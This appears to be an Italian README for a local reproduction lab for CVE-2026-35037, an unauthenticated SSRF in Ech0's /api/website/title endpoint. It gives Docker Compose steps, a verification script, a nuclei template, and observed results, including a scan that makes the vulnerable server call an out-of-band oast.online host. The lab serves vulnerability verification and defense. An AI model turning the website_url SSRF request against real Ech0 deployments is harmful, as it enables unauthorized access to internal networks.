
Laboratorio di riproduzione isolato locale per CVE-2026-35037, una vulnerabilità SSRF non autenticata nell'endpoint GET /api/website/title di Ech0. Include configurazione Docker Compose, script di verifica e modello nuclei per la validazione.
Questo repository contiene un laboratorio di riproduzione locale e isolato per CVE-2026-35037, una vulnerabilità SSRF non autenticata nell'endpoint GET /api/website/title di Ech0.
Il laboratorio utilizza un server di evidenza locale controllato invece di metadati cloud o infrastruttura di terze parti.
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1; NVD descrive versioni precedenti a 4.2.84.2.8GET /api/website/titlewebsite_urlRiferimenti:
docker-compose.yml: avvia Ech0 e un server HTTP di evidenza localeDockerfile.ech0-lab: costruisce Ech0 dal tag GitHub ufficialeverify-cve-2026-35037.sh: invia la richiesta di verifica SSRF controllataevidence/index.html: pagina HTML controllata con un <title> univoconuclei/CVE-2026-35037.yaml: template nuclei candidatoI tag Docker vulnerabili storici come sn0wl1n/ech0:4.2.1 non erano disponibili quando questo laboratorio è stato creato. Il laboratorio utilizza invece i tag GitHub ufficiali lin-snow/Ech0:
v4.2.1 per il candidato vulnerabilev4.2.8 per il confronto correttoIl Dockerfile locale evita anche i problemi di compilazione a monte osservati con il precedente build.Dockerfile.
curlnucleiEseguire questo solo in un laboratorio locale isolato. Non utilizzare questi comandi contro sistemi di terze parti. Usare solo contro sistemi di cui si è proprietari o per i quali si ha esplicita autorizzazione scritta per il test.
Avviare Ech0 v4.2.1:
ECH0_TAG=4.2.1 docker compose up -d --build
Inviare la richiesta di verifica controllata:
sh verify-cve-2026-35037.sh
Risposta vulnerabile prevista:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
Confermare che Ech0 ha raggiunto il server di evidenza controllato:
docker compose logs evidence
Registro di evidenza osservato:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
Avviare Ech0 v4.2.8:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
Eseguire la stessa richiesta:
sh verify-cve-2026-35037.sh
Risposta corretta osservata:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
Validare il template:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
Eseguire contro il vulnerabile v4.2.1:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Risultato vulnerabile osservato:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
Eseguire contro il corretto v4.2.8:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Risultato corretto osservato:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/ all'interno della rete Docker Compose.{{interactsh-url}} e richiede il supporto OAST/interactsh.{{interactsh-url}}, che contatta di default i server interactsh di ProjectDiscovery come oast.online o oast.fun. Usare -iserver per sovrascrivere il server o -ni per disabilitare interactsh.